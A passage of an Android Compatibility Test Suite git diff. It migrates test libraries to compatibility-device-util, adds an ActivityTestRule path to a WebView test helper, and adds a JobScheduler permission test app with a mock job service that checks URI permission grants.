-    public static void assertScaledPixels(int expected, int actual, Context context) {
-        Assert.assertEquals(expected * context.getResources().getDisplayMetrics().density,
-                actual, 3);
-    }
-
-    /** Converts dips into pixels using the {@link Context}'s density. */
-    public static int convertDipToPixels(Context context, int dip) {
-      float density = context.getResources().getDisplayMetrics().density;
-      return Math.round(density * dip);
-    }
-
-    /**
-     * Retrieve a bitmap that can be used for comparison on any density
-     * @param resources
-     * @return the {@link Bitmap} or <code>null</code>
-     */
-    public static Bitmap getUnscaledBitmap(Resources resources, int resId) {
-        BitmapFactory.Options options = new BitmapFactory.Options();
-        options.inScaled = false;
-        return BitmapFactory.decodeResource(resources, resId, options);
-    }
-
-    /**
-     * Retrieve a dithered bitmap that can be used for comparison on any density
-     * @param resources
-     * @param config the preferred config for the returning bitmap
-     * @return the {@link Bitmap} or <code>null</code>
-     */
-    public static Bitmap getUnscaledAndDitheredBitmap(Resources resources,
-            int resId, Bitmap.Config config) {
-        BitmapFactory.Options options = new BitmapFactory.Options();
-        options.inDither = true;
-        options.inScaled = false;
-        options.inPreferredConfig = config;
-        return BitmapFactory.decodeResource(resources, resId, options);
-    }
-}
diff --git a/libs/deviceutillegacy/Android.mk b/libs/deviceutillegacy/Android.mk
index 1e382f5..f169ca8 100644
--- a/libs/deviceutillegacy/Android.mk
+++ b/libs/deviceutillegacy/Android.mk
@@ -16,7 +16,10 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil junit legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    junit \
+    legacy-android-test
 
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, src)
diff --git a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
index ee44f8a..b528417 100644
--- a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
+++ b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
@@ -16,8 +16,9 @@
 
 package android.webkit.cts;
 
-import android.cts.util.PollingCheck;
-import android.cts.util.TestThread;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.TestThread;
+
 import android.graphics.Bitmap;
 import android.graphics.Picture;
 import android.graphics.Rect;
@@ -27,6 +28,7 @@
 import android.os.Message;
 import android.os.SystemClock;
 import android.print.PrintDocumentAdapter;
+import android.support.test.rule.ActivityTestRule;
 import android.test.InstrumentationTestCase;
 import android.util.DisplayMetrics;
 import android.view.View;
@@ -88,6 +90,11 @@
     private InstrumentationTestCase mTest;
 
     /**
+     * The test rule that this class is being used in. Used for runTestOnUiThread.
+     */
+    private ActivityTestRule mActivityTestRule;
+
+    /**
      * The WebView that calls will be made on.
      */
     private WebView mWebView;
@@ -101,8 +108,10 @@
      *
      * @param test The test in which this is being run.
      * @param webView The webView that the methods should call.
-     * @see loadUrlAndWaitForCompletion
+     * @see #loadDataAndWaitForCompletion(String, String, String)
+     * @deprecated Use {@link WebViewOnUiThread#WebViewOnUiThread(ActivityTestRule, WebView)}
      */
+    @Deprecated
     public WebViewOnUiThread(InstrumentationTestCase test, WebView webView) {
         mTest = test;
         mWebView = webView;
@@ -119,6 +128,29 @@
     }
 
     /**
+     * Initializes the webView with a WebViewClient, WebChromeClient,
+     * and PictureListener to prepare for loadUrlAndWaitForCompletion.
+     *
+     * A new WebViewOnUiThread should be called during setUp so as to
+     * reinitialize between calls.
+     *
+     * @param activityTestRule The test rule in which this is being run.
+     * @param webView The webView that the methods should call.
+     * @see #loadDataAndWaitForCompletion(String, String, String)
+     */
+    public WebViewOnUiThread(ActivityTestRule activityTestRule, WebView webView) {
+        mActivityTestRule = activityTestRule;
+        mWebView = webView;
+        final WebViewClient webViewClient = new WaitForLoadedClient(this);
+        final WebChromeClient webChromeClient = new WaitForProgressClient(this);
+        runOnUiThread(() -> {
+            mWebView.setWebViewClient(webViewClient);
+            mWebView.setWebChromeClient(webChromeClient);
+            mWebView.setPictureListener(new WaitForNewPicture());
+        });
+    }
+
+    /**
      * Called after a test is complete and the WebView should be disengaged from
      * the tests.
      */
@@ -847,7 +879,8 @@
      * a test failure. If this is already the UI thread then it runs
      * the code immediately.
      *
-     * @see runTestOnUiThread
+     * @see InstrumentationTestCase#runTestOnUiThread(Runnable)
+     * @see ActivityTestRule#runOnUiThread(Runnable)
      * @param r The code to run in the UI thread
      */
     public void runOnUiThread(Runnable r) {
@@ -855,7 +888,11 @@
             if (isUiThread()) {
                 r.run();
             } else {
-                mTest.runTestOnUiThread(r);
+                if (mActivityTestRule != null) {
+                    mActivityTestRule.runOnUiThread(r);
+                } else {
+                    mTest.runTestOnUiThread(r);
+                }
             }
         } catch (Throwable t) {
             Assert.fail("Unexpected error while running on UI thread: "
diff --git a/libs/migration/Android.mk b/libs/migration/Android.mk
deleted file mode 100644
index 11173d6..0000000
--- a/libs/migration/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt
-
-LOCAL_JAVA_LIBRARIES := tradefed-prebuilt
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := cts-migration-lib
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_HOST_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/libs/migration/src/com/android/cts/migration/MigrationHelper.java b/libs/migration/src/com/android/cts/migration/MigrationHelper.java
deleted file mode 100644
index 0595486..0000000
--- a/libs/migration/src/com/android/cts/migration/MigrationHelper.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.android.cts.migration;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-
-/**
- * A temporary helper to enable tests to work with both cts v1 and v2.
- */
-public class MigrationHelper {
-
-    private static final String COMPATIBILITY_BUILD_HELPER =
-            "com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper";
-    private static final String CTS_BUILD_HELPER =
-            "com.android.cts.tradefed.build.CtsBuildHelper";
-
-    public static File getTestFile(IBuildInfo mBuild, String filename)
-            throws FileNotFoundException {
-        try {
-            Class<?> cls = Class.forName(COMPATIBILITY_BUILD_HELPER);
-            Constructor<?> cons = cls.getConstructor(IBuildInfo.class);
-            Object instance = cons.newInstance(mBuild);
-            Method method = cls.getMethod("getTestsDir");
-            File dir = (File) method.invoke(instance);
-            File file = new File(dir, filename);
-            CLog.i("Looking for test file %s in dir %s", filename, dir.getAbsolutePath());
-            if (file.exists()) {
-                CLog.i("File %s found", filename);
-                return file;
-            }
-        } catch (ClassNotFoundException | NoSuchMethodException | InstantiationException |
-                IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
-            // Ignore and fall back to CtsBuildHelper
-        }
-        try {
-            Class<?> cls = Class.forName(CTS_BUILD_HELPER);
-            Method builder = cls.getMethod("createBuildHelper", IBuildInfo.class);
-            Object helper = builder.invoke(null, mBuild);
-            Method method = cls.getMethod("getTestApp", String.class);
-            File file = (File) method.invoke(helper, filename);
-            CLog.i("Looking for test file %s as %s", filename, file.getAbsolutePath());
-            if (file.exists()) {
-                CLog.i("File %s found", filename);
-                return file;
-            }
-        } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException |
-                IllegalArgumentException | InvocationTargetException e) {
-            // Ignore
-        }
-        throw new FileNotFoundException("Couldn't load file " + filename);
-    }
-
-}
diff --git a/test_defs.sh b/test_defs.sh
index 5d5090d..cc92685 100644
--- a/test_defs.sh
+++ b/test_defs.sh
@@ -22,7 +22,7 @@
 COMMON_JARS="
     ddmlib-prebuilt\
     hosttestlib\
-    tradefed-prebuilt"
+    tradefed"
 
 checkFile() {
     if [ ! -f "$1" ]; then
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index 153a4fd..acfcbb2 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -22,7 +22,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -35,3 +35,5 @@
 LOCAL_SDK_VERSION := current
 
 include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index 57a2f30..ed9f69c 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -14,12 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Job Scheduler test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJobSchedulerTestCases.apk" />
+        <option name="test-file-name" value="CtsJobSchedulerJobPerm.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.jobscheduler.cts" />
         <option name="runtime-hint" value="2m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/JobScheduler/jobperm/Android.mk b/tests/JobScheduler/jobperm/Android.mk
new file mode 100644
index 0000000..97bfd3e
--- /dev/null
+++ b/tests/JobScheduler/jobperm/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsJobSchedulerJobPerm
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/jobperm/AndroidManifest.xml b/tests/JobScheduler/jobperm/AndroidManifest.xml
new file mode 100755
index 0000000..14eb02b
--- /dev/null
+++ b/tests/JobScheduler/jobperm/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.jobscheduler.cts.jobperm">
+
+    <!--
+    An app that declares a permission that requires a matching signature to
+    access.
+    -->
+    <permission android:name="android.jobscheduler.cts.jobperm.perm"
+        android:protectionLevel="signature" />
+    <uses-permission android:name="android.jobscheduler.cts.jobperm.perm" />
+
+    <application>
+        <!-- Need a way for another app to try to access the permission. So create a content
+        provider which is enforced by the permission -->
+        <provider android:name=".JobPermProvider"
+            android:authorities="android.jobscheduler.cts.jobperm.provider"
+            android:exported="true">
+            <path-permission
+                android:pathPrefix="/protected"
+                android:readPermission="android.jobscheduler.cts.jobperm.perm"
+                android:writePermission="android.jobscheduler.cts.jobperm.perm" />
+            <grant-uri-permission android:pathPattern=".*" />
+        </provider>
+    </application>
+</manifest>
diff --git a/tests/JobScheduler/jobperm/src/android/jobscheduler/cts/jobperm/JobPermProvider.java b/tests/JobScheduler/jobperm/src/android/jobscheduler/cts/jobperm/JobPermProvider.java
new file mode 100644
index 0000000..5b3bac7
--- /dev/null
+++ b/tests/JobScheduler/jobperm/src/android/jobscheduler/cts/jobperm/JobPermProvider.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts.jobperm;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+
+/**
+ * Empty content provider, all permissions are enforced in manifest
+ */
+public class JobPermProvider extends ContentProvider {
+    @Override
+    public Bundle call(@NonNull String method, @Nullable String arg, @Nullable Bundle extras) {
+        if (method == null) {
+            return null;
+        }
+        switch (method) {
+            case "grant": {
+                Uri uri = extras.getParcelable("uri");
+                getContext().grantUriPermission(arg, uri,
+                        Intent.FLAG_GRANT_READ_URI_PERMISSION |
+                                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+                return null;
+            }
+            case "revoke": {
+                Uri uri = extras.getParcelable("uri");
+                getContext().revokeUriPermission(arg, uri,
+                        Intent.FLAG_GRANT_READ_URI_PERMISSION |
+                                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+                return null;
+
+            }
+        }
+        return super.call(method, arg, extras);
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        // do nothing
+        return 0;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return "got/theMIME";
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public boolean onCreate() {
+        return false;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection,
+            String[] selectionArgs, String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection,
+            String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
+        return ParcelFileDescriptor.open(
+                new File("/dev/null"), ParcelFileDescriptor.MODE_READ_ONLY);
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
index 4f549f8..94aee20 100644
--- a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
+++ b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
@@ -17,10 +17,22 @@
 package android.jobscheduler;
 
 import android.annotation.TargetApi;
+import android.app.job.JobInfo;
 import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
 import android.app.job.JobService;
+import android.app.job.JobWorkItem;
+import android.content.ClipData;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Process;
 import android.util.Log;
 
+import junit.framework.Assert;
+
+import java.util.ArrayList;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -36,23 +48,240 @@
     /** Wait this long before timing out the test. */
     private static final long DEFAULT_TIMEOUT_MILLIS = 30000L; // 30 seconds.
 
+    private JobParameters mParams;
+
+    ArrayList<JobWorkItem> mReceivedWork = new ArrayList<>();
+
+    private boolean mWaitingForStop;
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        Log.i(TAG, "Destroying test service");
+        if (TestEnvironment.getTestEnvironment().getExpectedWork() != null) {
+            TestEnvironment.getTestEnvironment().notifyExecution(mParams, 0, 0, mReceivedWork,
+                    null);
+        }
+    }
+
     @Override
     public void onCreate() {
         super.onCreate();
-        Log.e(TAG, "Created test service.");
+        Log.i(TAG, "Created test service.");
     }
 
     @Override
     public boolean onStartJob(JobParameters params) {
         Log.i(TAG, "Test job executing: " + params.getJobId());
+        mParams = params;
 
-        TestEnvironment.getTestEnvironment().notifyExecution(params);
-        return false;  // No work to do.
+        int permCheckRead = PackageManager.PERMISSION_DENIED;
+        int permCheckWrite = PackageManager.PERMISSION_DENIED;
+        ClipData clip = params.getClipData();
+        if (clip != null) {
+            permCheckRead = checkUriPermission(clip.getItemAt(0).getUri(), Process.myPid(),
+                    Process.myUid(), Intent.FLAG_GRANT_READ_URI_PERMISSION);
+            permCheckWrite = checkUriPermission(clip.getItemAt(0).getUri(), Process.myPid(),
+                    Process.myUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        }
+
+        TestWorkItem[] expectedWork = TestEnvironment.getTestEnvironment().getExpectedWork();
+        if (expectedWork != null) {
+            try {
+                if (!TestEnvironment.getTestEnvironment().awaitDoWork()) {
+                    TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+                            permCheckWrite, null, "Spent too long waiting to start executing work");
+                    return false;
+                }
+            } catch (InterruptedException e) {
+                TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+                        permCheckWrite, null, "Failed waiting for work: " + e);
+                return false;
+            }
+            JobWorkItem work;
+            int index = 0;
+            while ((work = params.dequeueWork()) != null) {
+                Log.i(TAG, "Received work #" + index + ": " + work.getIntent());
+                mReceivedWork.add(work);
+
+                if (index < expectedWork.length) {
+                    TestWorkItem expected = expectedWork[index];
+                    int grantFlags = work.getIntent().getFlags();
+                    if (expected.requireUrisGranted != null) {
+                        for (int ui = 0; ui < expected.requireUrisGranted.length; ui++) {
+                            if ((grantFlags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
+                                if (checkUriPermission(expected.requireUrisGranted[ui],
+                                        Process.myPid(), Process.myUid(),
+                                        Intent.FLAG_GRANT_READ_URI_PERMISSION)
+                                        != PackageManager.PERMISSION_GRANTED) {
+                                    TestEnvironment.getTestEnvironment().notifyExecution(params,
+                                            permCheckRead, permCheckWrite, null,
+                                            "Expected read permission but not granted: "
+                                                    + expected.requireUrisGranted[ui]
+                                                    + " @ #" + index);
+                                    return false;
+                                }
+                            }
+                            if ((grantFlags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) {
+                                if (checkUriPermission(expected.requireUrisGranted[ui],
+                                        Process.myPid(), Process.myUid(),
+                                        Intent.FLAG_GRANT_WRITE_URI_PERMISSION)
+                                        != PackageManager.PERMISSION_GRANTED) {
+                                    TestEnvironment.getTestEnvironment().notifyExecution(params,
+                                            permCheckRead, permCheckWrite, null,
+                                            "Expected write permission but not granted: "
+                                                    + expected.requireUrisGranted[ui]
+                                                    + " @ #" + index);
+                                    return false;
+                                }
+                            }
+                        }
+                    }
+                    if (expected.requireUrisNotGranted != null) {
+                        // XXX note no delay here, current impl will have fully revoked the
+                        // permission by the time we return from completing the last work.
+                        for (int ui = 0; ui < expected.requireUrisNotGranted.length; ui++) {
+                            if ((grantFlags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
+                                if (checkUriPermission(expected.requireUrisNotGranted[ui],
+                                        Process.myPid(), Process.myUid(),
+                                        Intent.FLAG_GRANT_READ_URI_PERMISSION)
+                                        != PackageManager.PERMISSION_DENIED) {
+                                    TestEnvironment.getTestEnvironment().notifyExecution(params,
+                                            permCheckRead, permCheckWrite, null,
+                                            "Not expected read permission but granted: "
+                                                    + expected.requireUrisNotGranted[ui]
+                                                    + " @ #" + index);
+                                    return false;
+                                }
+                            }
+                            if ((grantFlags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) {
+                                if (checkUriPermission(expected.requireUrisNotGranted[ui],
+                                        Process.myPid(), Process.myUid(),
+                                        Intent.FLAG_GRANT_WRITE_URI_PERMISSION)
+                                        != PackageManager.PERMISSION_DENIED) {
+                                    TestEnvironment.getTestEnvironment().notifyExecution(params,
+                                            permCheckRead, permCheckWrite, null,
+                                            "Not expected write permission but granted: "
+                                                    + expected.requireUrisNotGranted[ui]
+                                                    + " @ #" + index);
+                                    return false;
+                                }
+                            }
+                        }
+                    }
+
+                    if ((expected.flags & TestWorkItem.FLAG_WAIT_FOR_STOP) != 0) {
+                        Log.i(TAG, "Now waiting to stop");
+                        mWaitingForStop = true;
+                        TestEnvironment.getTestEnvironment().notifyWaitingForStop();
+                        return true;
+                    }
+                }
+
+                mParams.completeWork(work);
+
+                if (index < expectedWork.length) {
+                    TestWorkItem expected = expectedWork[index];
+                    if (expected.subitems != null) {
+                        final TestWorkItem[] sub = expected.subitems;
+                        final JobInfo ji = expected.jobInfo;
+                        final JobScheduler js = (JobScheduler) getSystemService(
+                                Context.JOB_SCHEDULER_SERVICE);
+                        for (int subi = 0; subi < sub.length; subi++) {
+                            js.enqueue(ji, new JobWorkItem(sub[subi].intent));
+                        }
+                    }
+                }
+
+                index++;
+            }
+            Log.i(TAG, "Done with all work at #" + index);
+            // We don't notifyExecution here because we want to make sure the job properly
+            // stops itself.
+            return true;
+        } else {
+            boolean continueAfterStart
+                    = TestEnvironment.getTestEnvironment().handleContinueAfterStart();
+            try {
+                if (!TestEnvironment.getTestEnvironment().awaitDoJob()) {
+                    TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+                            permCheckWrite, null, "Spent too long waiting to start job");
+                    return false;
+                }
+            } catch (InterruptedException e) {
+                TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+                        permCheckWrite, null, "Failed waiting to start job: " + e);
+                return false;
+            }
+            TestEnvironment.getTestEnvironment().notifyExecution(params, permCheckRead,
+                    permCheckWrite, null, null);
+            return continueAfterStart;
+        }
     }
 
     @Override
     public boolean onStopJob(JobParameters params) {
-        return false;
+        Log.i(TAG, "Received stop callback");
+        TestEnvironment.getTestEnvironment().notifyStopped();
+        return mWaitingForStop;
+    }
+
+    public static final class TestWorkItem {
+        public static final int FLAG_WAIT_FOR_STOP = 1<<0;
+
+        public final Intent intent;
+        public final JobInfo jobInfo;
+        public final int flags;
+        public final int deliveryCount;
+        public final TestWorkItem[] subitems;
+        public final Uri[] requireUrisGranted;
+        public final Uri[] requireUrisNotGranted;
+
+        public TestWorkItem(Intent _intent) {
+            intent = _intent;
+            jobInfo = null;
+            flags = 0;
+            deliveryCount = 1;
+            subitems = null;
+            requireUrisGranted = null;
+            requireUrisNotGranted = null;
+        }
+
+        public TestWorkItem(Intent _intent, int _flags, int _deliveryCount) {
+            intent = _intent;
+            jobInfo = null;
+            flags = _flags;
+            deliveryCount = _deliveryCount;
+            subitems = null;
+            requireUrisGranted = null;
+            requireUrisNotGranted = null;
+        }
+
+        public TestWorkItem(Intent _intent, JobInfo _jobInfo, TestWorkItem[] _subitems) {
+            intent = _intent;
+            jobInfo = _jobInfo;
+            flags = 0;
+            deliveryCount = 1;
+            subitems = _subitems;
+            requireUrisGranted = null;
+            requireUrisNotGranted = null;
+        }
+
+        public TestWorkItem(Intent _intent, Uri[] _requireUrisGranted,
+                Uri[] _requireUrisNotGranted) {
+            intent = _intent;
+            jobInfo = null;
+            flags = 0;
+            deliveryCount = 1;
+            subitems = null;
+            requireUrisGranted = _requireUrisGranted;
+            requireUrisNotGranted = _requireUrisNotGranted;
+        }
+
+        @Override
+        public String toString() {
+            return "TestWorkItem { " + intent + " dc=" + deliveryCount + " }";
+        }
     }
 
     /**
@@ -66,7 +295,17 @@
         //public static final int INVALID_JOB_ID = -1;
 
         private CountDownLatch mLatch;
+        private CountDownLatch mWaitingForStopLatch;
+        private CountDownLatch mDoJobLatch;
+        private CountDownLatch mStoppedLatch;
+        private CountDownLatch mDoWorkLatch;
+        private TestWorkItem[] mExpectedWork;
+        private boolean mContinueAfterStart;
         private JobParameters mExecutedJobParameters;
+        private int mExecutedPermCheckRead;
+        private int mExecutedPermCheckWrite;
+        private ArrayList<JobWorkItem> mExecutedReceivedWork;
+        private String mExecutedErrorMessage;
 
         public static TestEnvironment getTestEnvironment() {
             if (kTestEnvironment == null) {
@@ -75,16 +314,43 @@
             return kTestEnvironment;
         }
 
+        public TestWorkItem[] getExpectedWork() {
+            return mExpectedWork;
+        }
+
         public JobParameters getLastJobParameters() {
             return mExecutedJobParameters;
         }
 
+        public int getLastPermCheckRead() {
+            return mExecutedPermCheckRead;
+        }
+
+        public int getLastPermCheckWrite() {
+            return mExecutedPermCheckWrite;
+        }
+
+        public ArrayList<JobWorkItem> getLastReceivedWork() {
+            return mExecutedReceivedWork;
+        }
+
+        public String getLastErrorMessage() {
+            return mExecutedErrorMessage;
+        }
+
         /**
          * Block the test thread, waiting on the JobScheduler to execute some previously scheduled
          * job on this service.
          */
         public boolean awaitExecution() throws InterruptedException {
-            final boolean executed = mLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            return awaitExecution(DEFAULT_TIMEOUT_MILLIS);
+        }
+
+        public boolean awaitExecution(long timeoutMillis) throws InterruptedException {
+            final boolean executed = mLatch.await(timeoutMillis, TimeUnit.MILLISECONDS);
+            if (getLastErrorMessage() != null) {
+                Assert.fail(getLastErrorMessage());
+            }
             return executed;
         }
 
@@ -94,15 +360,53 @@
          * @return True if the latch timed out waiting on an execution.
          */
         public boolean awaitTimeout() throws InterruptedException {
-            return !mLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            return awaitTimeout(DEFAULT_TIMEOUT_MILLIS);
         }
 
-        private void notifyExecution(JobParameters params) {
-            Log.d(TAG, "Job executed:" + params.getJobId());
+        public boolean awaitTimeout(long timeoutMillis) throws InterruptedException {
+            return !mLatch.await(timeoutMillis, TimeUnit.MILLISECONDS);
+        }
+
+        public boolean awaitWaitingForStop() throws InterruptedException {
+            return mWaitingForStopLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        }
+
+        public boolean awaitDoWork() throws InterruptedException {
+            return mDoWorkLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        }
+
+        public boolean awaitDoJob() throws InterruptedException {
+            if (mDoJobLatch == null) {
+                return true;
+            }
+            return mDoJobLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        }
+
+        public boolean awaitStopped() throws InterruptedException {
+            return mStoppedLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        }
+
+        private void notifyExecution(JobParameters params, int permCheckRead, int permCheckWrite,
+                ArrayList<JobWorkItem> receivedWork, String errorMsg) {
+            //Log.d(TAG, "Job executed:" + params.getJobId());
             mExecutedJobParameters = params;
+            mExecutedPermCheckRead = permCheckRead;
+            mExecutedPermCheckWrite = permCheckWrite;
+            mExecutedReceivedWork = receivedWork;
+            mExecutedErrorMessage = errorMsg;
             mLatch.countDown();
         }
 
+        private void notifyWaitingForStop() {
+            mWaitingForStopLatch.countDown();
+        }
+
+        private void notifyStopped() {
+            if (mStoppedLatch != null) {
+                mStoppedLatch.countDown();
+            }
+        }
+
         public void setExpectedExecutions(int numExecutions) {
             // For no executions expected, set count to 1 so we can still block for the timeout.
             if (numExecutions == 0) {
@@ -110,6 +414,47 @@
             } else {
                 mLatch = new CountDownLatch(numExecutions);
             }
+            mWaitingForStopLatch = null;
+            mDoJobLatch = null;
+            mStoppedLatch = null;
+            mDoWorkLatch = null;
+            mExpectedWork = null;
+            mContinueAfterStart = false;
+        }
+
+        public void setExpectedWaitForStop() {
+            mWaitingForStopLatch = new CountDownLatch(1);
+        }
+
+        public void setExpectedWork(TestWorkItem[] work) {
+            mExpectedWork = work;
+            mDoWorkLatch = new CountDownLatch(1);
+        }
+
+        public void setExpectedStopped() {
+            mStoppedLatch = new CountDownLatch(1);
+        }
+
+        public void readyToWork() {
+            mDoWorkLatch.countDown();
+        }
+
+        public void setExpectedWaitForRun() {
+            mDoJobLatch = new CountDownLatch(1);
+        }
+
+        public void readyToRun() {
+            mDoJobLatch.countDown();
+        }
+
+        public void setContinueAfterStart() {
+            mContinueAfterStart = true;
+        }
+
+        public boolean handleContinueAfterStart() {
+            boolean res = mContinueAfterStart;
+            mContinueAfterStart = false;
+            return res;
         }
 
         /** Called in each testCase#setup */
